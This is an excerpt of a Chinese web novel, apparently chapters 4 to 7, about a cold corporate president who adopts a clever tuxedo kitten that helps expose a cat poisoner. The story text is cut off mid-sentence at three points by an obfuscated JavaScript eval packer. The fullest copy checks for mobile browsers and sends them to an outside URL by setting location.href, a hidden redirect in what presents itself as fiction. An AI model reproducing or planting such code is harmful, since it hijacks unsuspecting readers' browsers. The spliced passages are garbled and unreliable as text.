管家：“我们排查了造成事故的蜘蛛人，和姚家没有关系，也没有发现任何钱权交易。加上当时突起大风，应该只是巧合。” “我知道了。”顾司沉抚摸着小猫，对这个结果并不意外。 管家：“那涉事员工的处理……” 顾司沉：“走公司事故流程。” 管家有些意外，但很快点头说：“我明白了。” 轿车驶入古贸壹号地下停车场，吴雪自动爬上顾司沉肩膀，等待巡视自己新的领地。电梯轰隆隆的上升，又很快打开，顾司沉走出电梯，出现在他面前的竟是——猫咪之家！ “喵？”小猫茫然地抬起头。 顾司沉抓住奶牛猫后颈，把猫放在了草地上。 管家有些意外：“您不养它？” 顾司沉：“我从没说过要养它。” 说完，他头也不回地进了大楼里。 吴雪：喵喵喵？？？ 顾司沉从未养过宠物，也没有任何养宠物的打算。他性格冷漠，工作忙碌，也没有多余的爱心，不管从哪方面来看，都不是一个合格的养育者。 不养猫，对他和猫来说都好。 顾司沉如往常一样去书房处理工作，直到后半夜，才终于睡去。 第二天早上6点，顾司沉准时醒来，照例在家庭健身房运动一小时，然后去总部开会。 他过来时还不到上班时间，原本闲谈的员工见他过来，立刻露出严肃恭敬的表情。 公司里的人都很怕他，顾司沉早已习惯这种感觉，又吩咐助理准备会议。 集团刚经历一场反贪污，留下的高管们变得越发恭敬而警惕。看着会议室里紧张的高管们，不知怎么的，顾司沉突然想起小猫蹭他手指时，那种温暖柔软的感觉。 开完会，顾司沉去论坛参加了一个午餐会。 主办方本想邀请他作为主题发言，但顾司沉只有中午有时间，主办就新增了一个午餐会分享。 原本已经是午饭时间，记者和与会企业家却挤满了报告厅，不愿错过顾司沉的只言片语。 顾司沉是财经界明星，他经历传奇，18岁就被选为家族继承人，跳过不中用的父亲，并在7年后从爷爷手中继承家业。继任后手段更是雷厉风行，操刀了一系列经典商业案例。 他不仅手段了得，而且还年轻英俊，就算没开社交媒体，网上也到处都是他的消息。 开完午餐会，顾司沉在车上用了简餐，下午又陪顾亭安去医院复查。 古贸集团有本市最优秀的私立医院，顾司沉继任集团总裁后，又挖了许多心外科大拿坐镇，单就心外科这一科室，放在全国都是顶尖的。 一系列检查结束，心外科主任费钧告诉他们：“没问题，小安把自己保护得很好，也有定期吃抗凝药。只要在更换心室辅助装置前，定期过来体检就行。” 顾亭安：“谢谢医生，我知道了。” 费钧：“和你当年植入时相比，现在的心室辅助装置已经有了很大的发展，体验也会好很多。但我还是建议你再等等，你的优先级已经是最前面的，说不定很快就能出现适合的供体。” 顾亭安垂下眼睫，没有说话。 费均：“还是你有什么别的想法？” “没有，”顾亭安摇头，“就按您说得来吧。” 费均点点头，叮嘱道：“只是这段时间需要你们多注意，要是有什么不适一定要及时通知我。” 顾司沉：“知道了。” 顾亭安点了点头，说了声好。 面前的男生干干净净，如果不是时刻背着个书包，看上去和其他年轻的男孩儿也没有区别。 费均摸了摸他脑袋，笑着说：“好孩子，别放弃，你会有好报的。” 顾亭安笑了起来：“我没事儿，谢谢费哥。” 二人一同离开医院，顾司沉陪顾亭安过来，但并不太插手顾亭安的决策。 也不是一开始就这样，父母离异父亲再婚后，顾司沉就同时承担起了父亲和母亲的责任。在顾亭安成年前，顾司沉一直把人带在身边，家里装着摄像头，配备保镖和保姆。 顾亭安十八岁那年提出要搬出去，顾司沉也没有答应。他不觉得自己有什么问题，他是哥哥，理所应当要保护弟弟。顾亭安只提过一次，被拒绝后就没再继续。 直到3年前，顾亭安排到了一个适配的心脏，但当时有个比他更年轻的孩子出现险情，需要紧急心脏移植。 当时顾司沉在海外处理分公司业务，顾亭安竟然瞒着他把资格让了出去。 顾司沉得知此事，回国后和顾亭安起了争执。 吵架过程中，顾亭安脱口而出：“哥，我是个活生生的人，不是你的宠物和挂件，你能不能别有这么强的控制欲！” 顾司沉愣住了。 虽然事后顾亭安向他道了歉，顾司沉也反思说自己只是担心他。恰好古贸壹号项目竣工，顾司沉留了两套房子，和顾亭安成为楼上邻居。 生活再次恢复正常，可依旧有什么无形的东西横在他们之间。 顾司沉关心弟弟且分寸十足，弟弟也乖巧听话，从不让他费心。人人称羡他们的感情，可顾司沉有时候会觉得，他无法真正和弟弟交心。 顾司沉和顾亭安吃过晚饭，回了楼上自己家里，照旧处理工作到凌晨。 临睡前，他看见业主群消息，称隔壁小区有人投毒，物业提醒各位养宠物的业主注意安全，别让宠物误食。 顾司沉突然走到窗边，庭院精致，没有猫咪的身影。 该不会是出事了？顾司沉心头一沉，突然转身朝外走去。走到门口时他突然愣住，又停了下来。 这是要做什么？顾司沉你为什么这么紧张？ 一只流浪猫而已，和你又没有关系。 顾司沉回到卧室，闭眼睡觉。 他没有睡好，但依旧6点准时起床锻炼，又在早餐过程中处理了邮件，查看今天的行程安排。 下楼时，他遇见急急忙忙的顾亭安，后者急着下楼，连电池警报响了都没有反应。 “去哪儿？”顾司沉一把拉住他，“你电池警报响了。” 顾亭安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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顾司沉心头一沉，已经准备迎接最坏的结局，小猫却以一种不可思议的奇迹姿势在空中调整好重心，四肢稳稳落地，还能愤怒地朝男人哈气。 男人冲过来还要下手，被顾司沉及时制止：“住手。” 顾亭安也跑了过来，气喘吁吁地说：“不许虐猫！” “哪里是我虐猫，你看看我的手，分明是这只猫虐我！”男人露出鲜血淋漓的手臂和后颈，朝周围的人大喊，“你们看看我的下场，手臂、后背全是血！看啊！！这只猫一定得了狂犬，留不得。要是心软，它也会像攻击我这样攻击你们。” 有业主带着小孩儿，担心流浪猫攻击孩子，转头对物业说：“太危险了，普通的猫我都没意见，这种凶残的猫还是处理了吧。” 总经理看着顾司沉，不敢拿主意。 后者神情冷峻，让人猜不透他的想法。 “我可是为你们好！”得不到想要的答案，男人又喊了起来，“这些猫都得了狂犬，别的猫也被它感染了！” “是不是狂犬我们会排查清楚，”顾司沉说完，看了眼总经理，“检查他的证件信息。” “凭什么检查我身份证？”男人叫了起来，“你们只是物业，没有资格检查我！我才是受害者！” “物业没有资格，但我们有。”两位民警走了出来，对男人说，“我们正在排查投毒危害公共安全的人，请配合出示身份证。” 男人眼睛咕噜咕噜转，说自己装身份证的包丢在了花园里，他现在过去拿。 民警：“快去。” 男人转身假装走了几步，然后拔腿就跑，被早有防备的保安扑倒，交给民警带回了警察局。 顾亭安：“应该就是他投毒的吧？” 总经理：“用□□冒充维修人员进来，就算不是投毒也没安好心。” 总经理说完，又意识到这里面也有他们物业的责任，连忙低头道：“抱歉，这次是我们管理疏忽，以后一定会加强对出入人员的管理。” 顾司沉没有追究下去，他看着地上的奶牛猫，皱眉：“是不是也要把它送去医院？” “它应该没有中毒，”顾亭安掏出手套戴上，蹲下身摸了摸小猫脑袋说，“这只猫从来不吃外面的猫粮，都是自己捕猎，是不是呀小猫咪？” “喵~”小猫乖巧点头。 顾亭安笑弯了眼：“不愧是黑猫警长，多亏有你才能抓到坏人。” “喵！”2个月大的小奶猫骄傲挺胸，尾巴高高竖起，坦然地接受人类的赞誉。 5. 第 5 章 事情告一段落，但也有人好奇：“但猫怎么知道那个人在投毒？” 奶牛猫突然叫了起来，一边叫，一边很急切地往旁边走。 “怎么啦？” “它好像在叫我们过去。” 人们跟着奶牛猫走到灌木背后，看见一只玳瑁猫躺在地上，口吐白沫，旁边还有一个没吃完的猫罐头，掺了许多白色药片。 “原来是这样！”有人反应过来，推测道，“是奶牛猫发现玳瑁猫中毒了，所以才认出了投毒的人！” “太聪明了！” “给黑猫警长奖励罐头。” “姨姨喂你吃猫条。” 奶牛猫一个都不理，只是不停地围着玳瑁喵喵叫。 “好好好，我们马上救它。”物业立刻把玳瑁猫也送去医院。顾亭安一直喂养这些猫，担心得不得了，主动跟了上去。 中毒的猫全被送去医院，投毒的人也落网，围观人群逐渐散去，开始一天的工作和学习。 顾司沉却还留在原地，以一种复杂又犹豫的表情看着奶牛猫。 大老板没走，总经理也不敢离开，问：“顾总您还有什么指示？” 顾司沉说：“你们去忙吧。” “好的，那我们先去工作了。”总经理带人离开，花园里只剩下顾司沉自己，还有一只气势汹汹的奶牛猫。 顾司沉看了猫一会儿，突然蹲下身朝奶牛猫伸出右手，还没来得及开口，旁边突然传来一阵脚步声。 “我果然还是后悔了，强制爱也是爱，猫猫我来带你回家了！”之前在电梯里绑架猫的女人飞奔过来。 还不等对方靠近，顾司沉突然起身拦在奶牛猫面前。 女人停了下来，瞪了顾司沉一眼：“你干嘛？” 顾司沉：“我的。” “什么你的？”女人冷笑一声，“你叫它一声，你看它答不答应。” 顾司沉认真地考虑了几秒，蹲下身不太熟练地喊：“咪、咪。” 奶牛猫安静地和他对视，数秒后突然转身，用屁股对着他。 “哈哈哈哈哈哈！”女人大笑出声，毫不留情地嘲讽，“你的，就这样还是你的呢。” 顾司沉：“……” 叱咤风云的总裁，第一次这么丢脸。 女人信心大增，捏着猫条走到猫咪面前，一边用猫条诱惑一边说道：“咪咪，我知道你是一只聪明的猫猫，姨姨也算有点儿小钱，你就跟姨姨回家吧。跟了姨姨，保管你这辈子吃香喝辣。” 猫咪抬头看着女人，突然“喵”了一声。女人还没有反应过来，猫已经转身朝顾司沉走去。 不知道为什么，顾司沉心脏突然剧烈跳动起来。他看着小奶猫迈着小短腿，屁股一摇一摆，像一团蓬松的棉花一样来到他身边，然后低头闻他手指。 湿热的气息喷洒在指尖，长长的绒毛磨蹭皮肤带来柔软的触感，顾司沉下意识屏住了呼吸。 它果然还是喜欢我的，顾司沉有些开心地想。 他伸手想摸小猫，指尖却突然一阵刺痛，猫竟然一口咬上了他手指。 顾司沉：？ “哈哈哈哈哈哈！”竞争对手幸灾乐祸，笑出了声。 可她笑声没能持续下去，因为奶牛猫很快就松开嘴，顺着顾司沉的手臂一路爬到肩头。 “喵~！”小猫站在男人肩膀发号施令，仿佛皇帝御驾亲征。 顾司沉赢了，他把猫带上楼，然而在进门前却停了下来。 “喵！”奶牛猫抬起一只手，催促人。 顾司沉沉默了十几秒，说：“你是不是能听懂我说的话？” “喵。”猫甩了甩尾巴，似乎有些嫌弃人的不聪明。 顾司沉沉默了一会儿，说：“我不是一个适合的家长，我没有养过宠物，也没有多少时间陪你，甚至大部分时间都不在家里。如果这样你还是愿意跟我回家，那……” 他突然又不继续说了，不知道是什么原因。 他的宠人果然笨笨的。 奶牛猫失去耐心，直接从顾司沉身上跳下去，大摇大摆地走进了客厅里。 顾司沉关上门，心情复杂，又变得柔软。 他就这样把猫带回了家，打电话让管家准备养猫所需的一切物品。 与此同时，助理孟知发来消息，询问今天的会议安排。顾司沉看了眼时间，让助理改成线上会议。 顾司沉关上窗户，把猫留在客厅去书房开会。 一个小时后他收到管家汇报，猫砂盆、猫粮、自动喂食器、自动喂水器、猫窝、猫玩具都已到位。 书房外，吴雪正在巡视自己的新领地，并且对这片领地非常不满意！ 第一，这里真的太大了！每天巡视一遍要花太多时间！而且他还要标记信息素，排查领地里潜在的危险！猫猫会变得超级累！ 第二，领地里充满了他讨厌的金属、玻璃、大理石等材质，这些材质极难攀爬，让他无法从高处俯视。 第三，这么大一片领地，里面居然没有适合藏匿的地方，如果面临攻击，他很难藏匿，或者发动伏击。 第四，领地里没有提供磨爪的东西，他无法精进自己的捕猎技能。 还有第五，第六，第七…… 吴雪巡视一圈，越看越不满意，他宠人竟然什么都不懂，怪不得这么大只却那么弱！天天被别的喵欺负！ 看到最后，只有一个沙发和窗帘布勉强符合他的要求。 小猫伸出利爪抓抓抓！开始磨炼狩猎技巧！ 因为惦记着外面的猫，顾司沉开会时有些心不在焉。好不容易熬到会议结束，他立刻开门出来，映入他眼帘的是破烂的真皮沙发，还有波西米亚风格的窗帘。 顾司沉深吸一口气，感觉血压开始上升。 “咪咪。” 他试图找出始作俑者，却没能得到任何回应。 起初，他只是以为猫做了坏事躲起来，可当他找遍家里每一个角落都没有发现猫咪的身影。 顾司沉皱眉，联系管家：“你进来时看见猫了吗？” 管家：“确实没看见，怎么了？” 顾司沉：“猫不见了。” 管家：“是不是躲起来了？” 顾司沉：“找过了，都没有。” 管家上来和顾司沉一起找猫，用冻干、罐头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036182|178694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、零食、玩具诱惑，毫无用处。 他们担心猫跑出了去，可入户门和电梯的监控都没有发现异常，也就是说猫还在家里。 “究竟躲到哪里去了？”管家进入每一个房间仔细搜查，顾司沉住的是楼王户型，总面积超过500平，他一个人查不过来，又叫周姨一起，还有几个打扫房屋的清洁工也加入寻猫队伍。 他们几乎把房子翻了个底朝天，可依旧一无所获。 此时已经是黄昏，顾司沉一天的工作全被耽误，他独自坐在被抓烂的皮沙发上，一瞬间想了许多事情。 他从小就性格强势，目标坚定，从没有做过任何后悔的事情。可当他坐在这里，却开始后悔把猫带回家的决定。 宠物不是人，没有独立意识，离开他以后就没法儿独自生活。饲养宠物，就意味着他要完全担负起一条生命。 他真的能承担起一只猫的一生吗？ 顾司沉没有答案，在他的沉默中，天变得越来越黑，客厅智能照明自动亮起。 顾司沉摇了摇手里的猫玩具，依旧没有任何动静。他开始不受控制地想，猫会不会已经遇害了？ 他不是一个合格的家长，带猫回家第一件事就是去书房开会，甚至没和小猫玩一次，也没有喂他吃过一口东西。 顾司沉心头沉闷，抬头深吸一口气。突然间，他发现餐厅吊灯出现一片不和谐的阴影。 顾司沉心脏猛地跳动起来，他走到吊灯下抬头望去。 这是一盏雪球造型的吊灯，上方有轻微凹陷，奶牛猫就躺在灯罩凹陷的造型里大睡，不知今夕何夕。 顾司沉：“……” 这个躲藏位置选得太妙了，但凡这盏灯再大一点，都不会逃过他们的检查。安装高度也恰到好处，刚好高出人类视线，顾司沉能看见灯，却唯独无法看见最上方那片凹起的空间。直到晚上开灯，小猫终于暴露了位置。 被戏弄了一整天，耽搁了许多事情，顾司沉本来应该生气的，可此刻却只有劫后余生的庆幸。 他告诉还在室外找猫的管家：“不用找了，猫找到了。” 管家：“在哪儿呢？” 顾司沉：“餐厅灯罩里。” 那边霎时沉默下来，好一半天才憋出一句：“……不愧是奶牛猫。” 顾司沉挂断电话，捏着小猫后颈，语气冰冷：“起来。” 吴雪巡视领地累得半死，好不容易才找了个满意的地方睡着，又被人类叫醒。身上的困劲儿还没过去，软绵绵地“喵~”了一句。 顾司沉故作镇定：“别以为这样我就会原谅你。” 小猫抬头看他，懵懂又可爱，仿佛根本不知道发生了什么事情。 顾司沉满腔怒火，在小猫无辜的眼神下奇迹般地消散了。 算了，他和一只猫计较什么。 顾司沉把猫放在桌上，冷冷道：“这次我不和你计较，但以后你不许再躲到灯罩里，听到没有？” 猫咪不想听，猫咪用软乎乎的脑袋蹭凶巴巴的人。 顾司沉：“……” 顾司沉深吸一口气，最后还是没忍住，毫无原则地原谅了猫猫的恶行。 6. 第 6 章 顾氏老宅，市中心临湖别墅群，佣人敲开姚婷书房，恭敬道：“太太，二少爷来了。” 姚婷：“让他进来。” 两分钟后，顾光耀推门进来，吊儿郎当地喊了声“妈”。姚婷头也不抬，直接把手边的墨水瓶砸了过去。 顾光耀额头瞬间就肿了，他捂着脑袋，难以置信道：“妈？您干什么？” 姚婷：“捡回来。” 顾光耀咬了咬唇，有些不情愿地捡起墨水瓶，放回办公桌上。 姚婷：“停卡三个月，自己好好反省。” 顾光耀睁大眼睛：“妈！” 姚婷白了他一眼，冷冷道：“下次再让我看见你乱搞闹上热搜，自己给我滚出这个家。” “我还不是压力太大了，舅舅这件事我前后奔走那么久，都没有用。”顾光耀委屈至极，“我就是一时压力太大，再加上喝醉了，就和人约了一次，谁知道她是网红啊，还有男朋友。” 姚婷叹了口气，安静地看着自己的儿子。 顾光耀最怕这种眼神，话也不说了，变成锯嘴葫芦。 又过了好一会儿，姚婷这才说：“你舅舅也替我们办了不少事，但既然事情已成定局，只能多给点钱，尽量补偿他和他家人，这件事你去办。” 顾光耀嘟哝：“我本来就打算这么做……” 姚婷伸手抚摸顾光耀红肿的额头，问：“疼了没有？” 顾光耀有些委屈，嘴硬道：“没有。” 姚婷：“是妈妈不好，妈妈刚才太难过了，所以才有些生气。” 顾光耀不吭声，但表情已经没有刚才那么强硬。 姚婷叹了口气，又说：“妈妈就你一个儿子，我不求你有你哥那么厉害，但至少别给我添乱，明白吗？” 顾光耀好不容易才放松的神情再度紧绷，他猛地推开姚婷，愤愤道：“顾司沉，顾司沉，顾司沉……一个个的，怎么你们眼中都只有顾司沉？你究竟明不明白，我才是你的亲儿子！” 姚婷仿佛被吓到了，震惊道：“阿耀……” 顾光耀转身，头也不回地冲了出去。 他一路飙车回到家，怒气冲冲地问佣人：“猫在哪儿？” 自从家产竞争落败后，顾光耀脾气就越发阴沉不定起来。佣人被吓了一大跳，小声道：“在、在书架上呢。” 都怪这只猫，要不是上次行动失败，他也不会这么倒霉！ 顾光耀怒气冲冲走向书房，想把怒气发泄在猫身上，可当他看见猫时又忍了下来。 缅因猫竖着金色瞳孔坐在高处，双腿有力，神情专注，压迫感十足，仿佛一只随时准备出击的野兽。 听说猫这玩意儿吃人，晚上睡觉来人卧室就是检查人死了没，人死了猫就会把人吃掉。 顾光耀出了一身冷汗，什么念头也没有了，他把自己的计划和猫说了。又觉得自己实在是没气势，强行挺起胸膛叮嘱：“这次不许失败，明白吗？” 缅因猫没有回应，它硕大的身体往窗外一跃，悄无声息地离开了那里。 · “林医生，冒昧打扰了，我家猫不吃东西，请问你知道怎么回事吗？”大清早，林奇被一通陌生电话吵醒。 虽然有些疑惑，但作为宠物医生本能，还是详细地询问宠物情况，又回答道：“家长您别太担心，猫刚到陌生环境害怕是正常的，它们感到危险所以会躲起来，也不敢进食。您再等等看，如果24小时内有进食就没关系。” “好，我知道了。”顾司沉收回递到猫面前的猫条，没再继续劝食。 猫见他进卧室，又立刻迈着小短腿跟过来，但是被顾司沉关在了门外。他有洁癖，养猫已经是做了极大的退让，断然不可能让猫进卧室。 顾司沉换好衣服，不顾小猫喵喵叫，关门去了公司。 上午工作结束，顾司沉问助理孟知：“下午什么安排？” 孟知：“您有30分钟的午餐时间，12:30技术部长会过来汇报新品进度，1点出发参观智穹科技总部，和创始人见面探讨收购可能性，傍晚6点还有个慈善晚宴要参加。” 顾司沉看了眼时间，没有说话。 孟知试着问：“要改行程吗？” 顾司沉：“不用。” 他是集团总裁，每天有数不清的工作要处理，不可能为了一只小猫连工作都不做。 顾司沉在办公室用午餐，翻阅智穹科技资料，又抽空让管家去家里看猫。 顾司沉一直没有得到回复，拨通管家视频问：“吃了没有？” 管家愣了下，露出受宠若惊的表情：“谢谢老板关心，我已经吃过午饭了。” 顾司沉：“我问猫。” 管家：“……” 管家进屋查看，把手机对准自动喂食器说：“看起来好像没有，猫粮和罐头都没有动过。” 顾司沉沉了脸。 按照宠物医生的说法，现在距离猫被他带回家，已经超过24个小时了。 他从椅子上起身，撞上进来汇报新品的技术部长。顾司沉又重新坐了回去，一边看管家的视频，一边听技术部长汇报工作。 管家找了一圈终于找到了猫，把手机镜头对过去。 “怎么回事？”顾司沉皱眉，怎么瘦了这么多？看起来一点儿精神都没有，是不是不吃饭饿着了？还是说生病了？ “啊？”听到质问声，高管霎时愣在了原地。 沉默了一会儿，他舔着老脸磕磕绊绊地解释，说我也知道这个项目很花钱，可这些都是必要的投入。又试图打感情牌和顾司沉回忆当年，他们一起拼搏、一起努力、渴望改变世界的过去。 他说得真情实意，却不料顾司沉看都不看他一眼。 高管心情拔凉拔凉的，心道要是项目被砍，他也没脸待下去了。 他不放弃，又全方位复述项目潜力，舔着脸又问一遍：“顾总，您觉得这个方向可以吗？” 顾司沉有些莫名地看了他一眼，这次汇报本来就只是走流程，继续下一季度的研发投入，不知道对方怎么翻来覆去反复讲这一件事，仿佛对自己的项目很没有信心的样子。 作为领导，他要给对方信心，于是点点头说：“可以，继续推进吧。” “太好了！”高管终于松了口气，在心里默默给自己比了个耶，看来总裁还是被他说服了！ 半个小时过去，管家还是没能如愿让猫吃东西。顾司沉想回去看看，可下午的考察不能取消。智穹科技是国内AI头部企业，半年前发布的语言大模型效果惊人，顾司沉一直想拓展人工智能领域，最直接的方式就是收购这家公司。 可惜智穹科技创始人非常固执，拒绝了资本的所有接触。直到最近传出研发经费不足，顾司沉这才找到机会收购，或是投资入股。 所有人都知道这是一块儿香馍馍，除了古贸集团，别的企业也在虎视眈眈。 下午两点，顾司沉抵达智穹科技总部，和创始人会面，探讨商业蓝图。 智穹科技在一个科技园区，租了一栋不大的办公室，工作氛围相当活泼。中庭休息区养着几只猫，正仰头吃员工投喂的零食。顾司沉有片刻走神，又想起了家里那只不肯吃饭的小猫。 直到下午5点，顾司沉终于离开智穹科技，副驾驶放着他去参加晚宴要穿的礼服。 在司机开车前，他突然对孟知说：“慈善晚宴你替我去。” 孟知愣了下，点头说好。 顾司沉改道回家，看着不断上升的楼层数，心中生起了一股奇异的感情。 这似乎是他第一次带着期待回到家里，在此之前，家对他来说只是一个睡觉的地方而已，和酒店套房，办公室休息室没什么区别。 可仅仅只是多了一只小猫，不过是一只猫而已，却让一切都不同了。 顾司沉走出电梯，解锁防盗门，却没有立刻开门。 管家离开时说猫还是不肯吃东西，按照回家时间算起，猫已经超过24个小时不吃不喝…… 又过了数秒，顾司沉才轻轻吐出一口气，然后拉开大门。 与此同时，一团黑白相间的毛球冲出大门，头也不回地往外跑去。 正自责的顾司沉：“……” 好在电梯关着，紧急通道防火门也没开，奶牛猫在宽敞的走廊里转了一圈，又回到顾司沉脚边，喵喵地叫着，表情几乎谄媚。 顾司沉蹲下，问：“你想出去？” 猫：“喵喵喵~！” 叫声一声叠一声，夹得要命。 顾司沉挠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“怎么会不吃呢？”顾亭安还在思考，围着奶牛猫一边转一边说，“猫猫大神在上，求您显显灵，听听臣民的声音吧。” 奶牛猫突然不叫了，好奇地转过耳朵。 竟然有用？ 顾亭安：“猫猫大神，您是不是能听懂我说什么？” 奶牛猫转身正对着他，坐得端端正正，仿佛神祇在等待信徒朝拜。 顾亭安：“哥！你看它的样子！它能听懂我说话！” 顾司沉语气不太好：“就知道装乖。” 顾亭安才不管，他拜猫拜上了瘾，跪在客厅的地毯上说：“猫猫大人，您忠诚的仆人向您献上食物，求您享用贡品。” 猫走到了餐盘边上，但它依旧没有吃，而是仰头看顾司沉，是探究，也有好奇。 顾司沉：？ 顾亭安拉他裤脚：“哥，你也来。” “不可能，”顾司沉斩钉截铁，“我绝不可能求一只猫。” 他们兄弟虽然关系好，但顾亭安骨子里还是非常敬畏这个大哥。见顾司沉态度坚决，也不敢劝说了。 可是下一刻，奶牛猫突然伸出爪子，扒拉了顾司沉裤腿。 顾司沉：“……？” 顾亭安：“哥，不然你试试看呗？” 是可忍，孰不可忍。 顾司沉双膝跪地，气势凌厉地低下头颅：“猫、猫大人，请您用餐。” 空气中出现了短暂的安静，然后顾亭安爆发出一阵剧烈的大笑声。 “对、对不起，我不是故意要嘲笑你的，我就是觉得……觉得这实在是太搞笑了哈哈哈哈哈哈！哥你竟然真的给小猫下跪了！” 顾司沉对面，小猫缓缓叹了口气，想他堂堂的顶级捕食者，当之无愧的世界之王，可以用利爪和獠牙撕碎任何同体积猎物。此刻却要放弃捕猎，靠乞求获食。 算了，谁让他是只大度的猫，而且人类态度也算诚恳，更重要的是，他要吃饱了才能和邪恶势力作斗争！ 吴雪走到餐盘旁边，忍辱负重地吃了一口鲜切牛肉。切得太大坨，干吞有点儿噎，于是他又开始吃蛋黄，他喜欢蛋液，甜甜黏黏的，小猫舌头舔过蛋液，发出啧啧啧的水声。 看到这里，顾亭安松了口气，开心道：“太好了，果然有用。” 一旁，顾司沉的脸黑了。 该不会，他以后每天都要像这样，跪着求猫吃东西吧？ 7. 第 7 章 好在顾司沉的担心没有成真，猫只让他跪了一次，后面吃东西都不用再劝了。而且这猫比他想象中还要省心，不管是生骨肉、猫罐头还是干粮，小猫有什么就吃什么，从不饿着自己。 吃饭问题解决了，但紧接着新的问题又来了。 小猫非常粘人，顾司沉吃喝拉撒都要跟着，甚至连他去卫生间都不放过。被关在门外就一直喵喵叫，用爪子刨门，仿佛一刻都等不及。 顾司沉自认性格冷漠，周围的人对他评价也大多如此，哪怕是亲弟弟顾亭安，对他都是敬畏有余亲密不足。 在顾司沉过去的人生里，他不会允许、也没有人敢这样不分场合地粘着他。 哪怕是一只猫也不行。 要想在他家生存，必须按照他的规则行事。 顾司沉沉着脸走出洗手间，正想给猫立规矩，小猫叫声却突然变软，又用毛茸茸的脑袋蹭他脚踝，仿佛喜欢他不得了。 顾司沉：“……” 算了，他跟一只猫计较什么。 顾司沉自认为已经做了极大让步，可他没想到，这仅仅只是一个开始。 当晚，顾司沉洗完澡出来，因为还有工作，就穿着睡袍去了书房。没过多久，他突然察觉小腿有些痒。起初顾司沉并没有在意，但没过多久，他大腿部位也出现了异常，低头一看，小猫正鼓足了劲儿把脑袋往他睡袍里钻。 顾司沉：“……” 他拎着小猫后颈，把猫从睡袍下摆里扯出。 “喵！”猫不服气地叫了起来。 顾司沉看着它倔强的眼睛，冷冷警告：“就算你是公猫，也不能钻我睡袍。” “喵喵喵喵喵喵！！！” 凭什么不能钻，这是我的领地！我要探索一切地方！ 小猫叫声更大了，吹胡子瞪眼，小小年纪就已经有了犟种的潜质。 顾司沉懒得解释，直接把猫丢出了书房，小猫在门外气急败坏地叫骂。 顾司沉揉了揉额头，有些头疼地问顾亭安：猫太粘人了怎么办？ 消息一发出，他又想起顾亭安猫毛过敏养不了猫，他这样说有炫耀的嫌疑。于是撤回消息，发给宠物医生：猫太粘人了怎么办？ 已经看见消息的顾亭安：“……” 突然被炫耀的宠物医生：“……” 顾司沉是真的困扰，这种困扰一直持续到他睡觉前。他有洁癖，绝不会让猫进卧室上床，然而当他把猫关在卧室外，竟破天荒感到内疚起来。 这种内疚经过一夜的发酵，并在第二天开门看见小猫冲过来后，达到了峰值。 顾司沉做出了一定让步，他虽然依旧不让猫进卧室，但他允许猫粘着自己了。哪怕在他身上爬来爬去，蹭他一身毛也没关系。 不过顾司沉虽然允许猫蹭毛，但他是个体面的人，不可能穿有猫毛的西装出门。等猫蹭够了，顾司沉出门前去衣帽间换了身干净西装。 没想到他刚换出来，猫又开始蹭他。 五分钟后，他又回去换了身干净的西装。 猫继续蹭。 顾司沉：“……” 他又回去换了身衣服，猫还是蹭。 顾司沉：？ 顾司沉让管家逮住猫，自己换了身衣服，干干净净地出门了。 被一次次阻挠的吴雪：“……” 啊啊啊啊，他要气死了！人在搞什么！ 不让他跟着就算了，连他辛辛苦苦在人身上留下的信息素也被抹掉。 臭人，被欺负了可别怪猫！ 管家把猫猫生气的表情拍下来，发给顾司沉。后者刚上车，看见照片忍不住笑了一下。 孟知呆滞两秒，然后默默把脸转向窗外，表情震惊。 今天总办的氛围比以往都要轻松，一向以冷漠著称的总裁，来公司第一件事就是请总办全体员工喝咖啡。 新人外出跑腿，陈欣和李小桃拎着两大提外卖咖啡，一边等电梯一边聊天。 不知想到了什么，陈欣突然笑了起来，说：“还好顾总这次请的是咖啡，要是请喝奶茶，说不定又要被人喷一脸了。” 李小桃：“……” 年轻的实习生沉默两秒，梗着脖子说：“还好顾总这次请的是咖啡，要是请喝热茶，说不定又要被人用开水烫手了。” 这次轮到陈欣无语了，沉默数秒后，他默默道歉：“对不起，我不该开你玩笑。” 李小桃：“没什么，我也内涵了你，就当扯平了。” 上午的工作时间，以一种相对轻松的气氛度过，直到下午2点，总助孟知被顾司沉叫进去，没过一会儿，孟知沉着脸找到王琪，十分钟二人离开总裁办，脸色变得难看起来。 两位老资历秘书严阵以待，他们底下的人自然也不敢放松，做出一副认真工作的样子，祈祷千万别叫自己。 很快，孟知和王琪穿过过道，停在了一个新人秘书面前。对方懵懵懂懂地从工位上站起来，听孟知说了什么，脸色唰一下就白了。 三人一同离开，剩下的人凑到一起打探情况。 “怎么回事？顾总又生气了？上午进来时不是还心情挺好？” “我刚刚听到了他们的对话，我只跟你说，你千万别告诉别人。” “嗯嗯嗯，保证不说。” “听说，顾总被人投毒了……” “什么？！” 3个小时前，孟知问顾司沉要不要和他一起吃午饭。顾司沉想在午饭时看一看家里的猫，让孟知给他准备便当拿到办公室。 准备便当一直是王琪的工作，顾司沉不是个事儿多的上司，给他订餐也非常简单，在他常吃的那些餐厅里挑一家点外卖就行。 这天中午王琪和往常一样点了个外卖，到餐后她临时有个活儿，让一个秘书下楼帮她取餐。 外卖顺利被送到顾司沉办公室，顾司沉坐在电脑前，一边吃外卖一边和小猫视频。 直到一个小时后，他突然感到肚子疼，在跑了三趟洗手间后，顾司沉沉着脸把孟知叫进办公室。 这天下午，顾司沉推了两个外出行程，去医院检查身体，还把外卖送去化验。折腾了一下午，竟然什么情况都没有查出来。外卖没问题，他的身体也没有中毒的迹象，可能就只是单纯吃坏了肚子。 到家时顾司沉肚子还在隐隐作痛，但想着家里的猫咪，又觉得稍微好受了一些。 